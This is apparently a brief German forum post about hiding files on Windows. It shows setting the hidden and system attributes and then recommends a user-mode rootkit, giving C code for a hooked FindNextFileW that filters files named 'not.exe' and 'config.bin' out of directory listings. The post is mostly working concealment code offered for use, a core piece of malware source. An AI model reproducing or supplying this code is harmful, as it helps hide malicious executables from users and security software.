Code:
#define HIDE_FILE_ATTRIBS FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_SYSTEM | FILE_ATTRIBUTE_READONLY
SetFileAttributes(Filename, HIDE_FILE_ATTRIBS);
Aber das ist natürlich die allerschlechteste Methode uberhaupt.
Besser wäre ein Rootkit. Zb für XP kriegt man eins in 11 zeilen hin. (Ok nicht wirklich. Bzw das rootkit (ring-3) schon aber das hooken sind nen paar zeilen mehr))
Code:
BOOL WINAPI Hooked_FindNextFileW(HANDLE hFindFile, LPWIN32_FIND_DATA lpFindFileData)
{
    BOOL bReturn = Original_FindNextFileW(hFindFile, lpFindFileData);
    if(wcsstr(lpFindFileData->cFileName, TEXT("not.exe")) || wcsstr(lpFindFileData->cFileName, TEXT("config.bin")))
    {
        DebugA(TEXT("%USERPROFILE%\\Desktop\\RootkitDebug.log"), "[Hooked_FindNextFileW]File search blocked", (char*)lpFindFileData->cFileName, LSTRLEN(lpFindFileData->cFileName));
        bReturn = Hooked_FindNextFileW(hFindFile, lpFindFileData);
    }
    else
        DebugA(TEXT("%USERPROFILE%\\Desktop\\RootkitDebug.log"), "[Hooked_FindNextFileW]File search pass", (char*)lpFindFileData->cFileName, LSTRLEN(lpFindFileData->cFileName));
    return bReturn;
}